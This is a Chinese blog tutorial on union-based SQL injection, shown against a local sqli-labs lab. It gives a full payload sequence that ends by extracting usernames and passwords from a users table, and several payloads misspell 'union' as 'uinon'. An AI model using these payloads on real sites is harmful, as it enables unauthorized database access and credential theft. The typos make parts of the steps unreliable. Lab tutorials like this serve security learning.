AI智能
改变未来

owasp top 10–SQL注入原理和联合查询

友情提示:本文所展示的内容仅为了交流与学习,并不作为其他违法犯罪用途。
时刻牢记:无授权不渗透,否则单间住个够。
本人也是web安全的小白,如有错误,还请大佬们指正

什么是SQL注入
SQL注入是一种通过把SQL语句通过一些特定的参数传递给服务器,最终使服务器查询我们输入的SQL语句从而得到我们想要结果的攻击手段
SQL注入原理
SQL注入的原理是服务器将我们输入的参数带入了数据库,切没有进行过滤和分辨,这就导致了服务器会输出我们想要的信息,比如保存在数据库里的账号密码。
SQL注入条件
1.客户端有传递参数的地方
2.传递的参数代入数据库进行查询
SQL注入分类
传递参数的类型分可分为数值型注入,字符型注入和搜索型注入。
回显类型上分为联合查询注入,报错注入,基于布尔的盲注,基于延时的盲注,堆叠查询注入,宽字节注入。
联合查询
联合查询即是在可以使用union select情况下使用的一种查询手法,其一般要求页面可以显示出查询的内容。
输入http://127.0.0.1/sqli/Less-2/?id=1 的到正常页面

http://127.0.0.1/sqli/Less-2/?id=1 and 1=1 页面正常

http://127.0.0.1/sqli/Less-2/?id=1 and 1=2 页面错误

判断为数值型注入
http://127.0.0.1/sqli/Less-2/?id=1 order by 10 页面错误

http://127.0.0.1/sqli/Less-2/?id=1 order by 5 页面错误

http://127.0.0.1/sqli/Less-2/?id=1 order by 4 页面错误

http://127.0.0.1/sqli/Less-2/?id=1 order by 3 页面正常

判断表中有3个字段
http://127.0.0.1/sqli/Less-2/?id=-1 union select 1,2,3 判断回显点,此处须输入一个错误的id

http://127.0.0.1/sqli/Less-2/?id=-1 uinon select 1,2,database() 判断数据库

http://127.0.0.1/sqli/Less-2/?id=-1 uinon select 1,2,version() 判断数据库版本

http://127.0.0.1/sqli/Less-2/?id=-1 uinon select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() 判断表名

http://127.0.0.1/sqli/Less-2/?id=-1 uinon select 1,2,group_concat(column_name) from information_schema.columns where table_name=‘users’ 从users表中判断列名
http://127.0.0.1/sqli/Less-2/?id=-1 union select 1,2,group_concat(username,0x3a,password) from users 得到账号密码

  • 点赞
  • 收藏
  • 分享
  • 文章举报

可乐bboyoy发布了9 篇原创文章 · 获赞 4 · 访问量 166私信关注

赞(0) 打赏
未经允许不得转载:爱站程序员基地 » owasp top 10–SQL注入原理和联合查询